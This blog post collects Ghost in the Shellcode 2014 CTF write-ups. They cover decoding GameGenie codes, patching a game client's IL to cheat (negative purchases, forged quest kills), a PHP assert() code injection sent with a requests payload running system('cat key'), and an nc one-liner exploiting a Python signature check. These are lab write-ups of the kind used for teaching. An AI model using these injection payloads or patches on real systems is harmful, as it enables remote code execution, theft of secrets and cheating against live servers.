A disturbing lack of taste. Just another WordPress site

20Jan/140

GitS 2014: lugkist (Trivia 150)

We got a list of 63 6-character lines, containing a limited set of uppercase ascii-characters. After some time we found out that these matches the cheat-commands of the GameGenie cheat-hardware. Basically it encodes an address and some data which shall be written to this address. The following decoder gives you the flag:

import operator

a = open('lugkist').read().strip().split('\n')
a = a[2:]  # strip first two lines

t = {}
for k, v in enumerate('APZLGITYEOXUKSVN'):  # GameGenie character-map
    t[v] = k

res = {}
for n in a:
    address = ((t[n[3]] & 7) << 12) | ((t[n[5]] & 7) << 8) | ((t[n[4]] & 8) << 8) | ((t[n[2]] & 7) << 4) | ((t[n[1]] & 8) << 4) | (t[n[4]] & 7) | (t[n[3]] & 8)
    data = ((t[n[1]] & 7) << 4) | ((t[n[0]] & 8) << 4) | (t[n[0]] & 7) | (t[n[5]] & 8)

res[address] = hex(data)[2:].decode('hex')

plain = ''
for k, v in sorted(res.iteritems(), key=operator.itemgetter(0)):  # sort by address
    plain += v

print plain

Flag: Power overwhelming? Back in my day cheats did not have spaces.

by ccmndhd and nsr

20Jan/140

GitS 2014: Unbearable (Pwn Adventure 75)

I have to admin we failed this. Took ages to find the solution. But pretty obvious in the end.

The challenge was to open a chest guarded bei bears. When we try to open the chest a 5:00 minutes countdown start and will be resetted if we move too far away. Also the bears start to attack us. Using infinite-jump we can jump on the chest were they can't reach us, but if the counter reaches 1:30 the bears get armed with AK47's and shoot us down in a minute.

The solution here is the wine you can buy in the north park. The wine gives you 10%-15% damage-reduction for 60 seconds. The bug here is that the Player::drinkWine(int damageReduction) function does not validate the given damageReduction.

I simply patched the GameLogic.dll (using ILSpy to extract the IL assembly, then used ilasm.exe to assemble it again. If anyone knows a better way that editing IL-assembler please please let me know!).

The patch is in Player::DrinkWine() position IL_0044. Replace ldarg.1 by ldc.i4.s 100 to get a 100% damage protection.

Now you can go to the chest, open it and simply drink one bottle of wine every 50-60 seconds so you stay invincible until the chest is open.

Flag: The Drunken Master can bear any trial

by ccmndhd and nsr

20Jan/140

GitS 2014: Rabbit of Caerbannog (Pwn Adventure 75)

This is a nice reference to Monty Python and the Holy Grail :D

We need to kill the cute little (but deadly) rabbit by using a "Holy Handgrenade". When you take a look into the GameLogic you'll see the handgrenade is the only weapon that can deal damage to the rabbit, so don't try to shoot it.

Unfortunately the only way to get such a grenade is by buying them with "Gears" in the Gear-menu. But we have no Gears, Shame. The solution is to patch the GameLogic to allow us negative purchases. The amount of stuff we buy is only checked client-side, so after patching the validation we are able to buy -1 Bag of Gold (usually substracts 99 gears and adds 200 gold, but in this case substracts 200 gold and adds 99 gears, enough for the handgrenade). Using this handgrenade we can kill the rabbit and get the flag.

Patch:

GameServerConnection::IAPPurchae(): IL_0029 change bge IL_005f to ble IL_005f (only allows negative purchases now, need to be reverted to buy the grenade afterwards)

<IAPPurchase>c__AnonyStorey18::m__21(): IL_018c remove/comment out the ret. The class is a method-callback within the ClientHandler

These patches should be enough. Flag: Thy_foe_b31ng_n4ugthy_1n_My_s1gh_t_shall_snuff_it

by ccmndhd and nsr

20Jan/140

GitS 2014: A Boaring Quest (Pwn Adventure 150)

This turned out to be pretty easy compared to Unbearable. The quest was to kill 9800 boars in the boar-level.

The solution is to call GameServerConnect::QuestKill(string name) with the name "Boar" while staying in the boar-level. This will trick the game-server to assume we did these quest-kills, because this directly updates the QuestManager and doesn't care about real kills.

A good function to patch is Player::setJumpState() because this method is called very often and when we add this patch we can get the 9800 kills in about a minute.

To patch the Player::setJumpState() method add this code after .maxstack 8:

ldsfld class GameServerConnection GameState::gameServer  // equal to GameState.gameServer.
ldstr "Boar"  // the first (and only) argument
callvirt instance void GameServerConnection::QuestKill(string)  // call the QuestKill(string name) method on GameState.gameServer

After waiting some time in the board level and getting our 9800 kill-count I've removed this patch again to not spam the game-server ;-)

With the 9800 souls we can simply follow the story, get the Boomstick (Shotgun) and kill the 30 Undeads (using the Wine from Unbearable may help ;-) ). We get the flag: ZombieProcessesWillEatYourBrains

by ccmndhd and nsr

20Jan/142

GitS 2014: Ad Substract (Pwn Adventure 75)

The challenge given by an ingame NPC was to get rid of the Ad diplayed in the Game Menu. After taking a look into the AdDownload class we sniffed the hostname of the server delivering the Ad-Images (dontpanicsoftware.com).

Then we simply changed the IP via /etc/hosts and send back a 1*1 pixel transparent PNG. This was rendered as the new Ad and the underlying text was shown containing the flag: AdBlockedHaveASillyMooseAnyway

by ccmndhd and nsr

20Jan/140

GitS 2014: PHPCrypto (Recon 100)

This one was a straight-forward PHP RCE.

We got a link to an encryption/decryption system based on PHP. After reading the homepage-html-comments we've found that the "API-Endpoint" had a function dump beside the customCrypto function. This one allowed us to fetch the sourcecode.

The issue was a parameter called DEBUG for the customCrypto function which allowed us to generade debug-messages with assert(). Basically assert() is the same as eval() but kills the program if the result evaluates to false.

After figuring this out the attack was simple:
assert("\$message = \"The key is: $xorKey and the plaintext is: \".addslashes(\"$plaintext\");");

The $xorKey is changed from the given input earlier, but the $plaintext is as we send it. For the assertation we need a $xorKey that is valid PHP-Code, so I've simply used ; (encoded as X because the script will substract 29 from it).

The $plaintext then is a simple php-code: ").system('cat key');//

from requests import post

key = chr(ord(';') + 29)
plaintext = "\").system('cat key');//"

payload = 'function=customCrypto&key=%s&plaintexthex=%s&DEBUG=true' % (key, plaintext.encode('hex'))
res = post('http://phpcrypto.2014.ghostintheshellcode.com/crypto.php', data=payload, headers={'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': len(payload)})

print res.text

Flag: ThisWasAStupidTestKeyThatBecameARealBoy

by ccmndhd

20Jan/140

GitS 2014: Radioactive (Crypto 250)

This challenge must have either been a joke or unintenionally broken, I solved it in like 2 minutes and it was worth 250 points. Unfortunately I was in a plane over the north sea and not able to submit the flag in time :(

Basically the challenge consists of a server who takes a command in the format : where command is a base64-encoded python code which is executed if the tag (which is basically a signature) is set correct.
The tag is computed using a secret stored in a file called "secret".

We got 4 test-commands (lc, echo, ls and stat) with a valid signature to analyze and maybe find a way for a hash-length-extension or whatever attack. We don't need this because the signature-checking was broken.

This code validates the signature:

    match = True
    for i, j in zip(tag, t):
        if i != j:
            match = False

    del key
    del cipher

    if match:
        print 'Made it' + eval(compile(command, "script", "exec"))
    else:
        self.request.send("Checks failed!\n")

tag is the given tag, t is the calculated tag.

Python's zip()-function takes two iterables and connects them, but only if both iterables have items. If we provide an empty tag we simply never hit the if and match has no chance to be set to False.

The exploit is:

echo :`echo "self.request.send(open('key').read())" | base64` | nc radioactive.2014.ghostintheshellcode.com 4324

Flag: Welcom3ToTheNewAgeItsARevolutionISuppose

by ccmndhd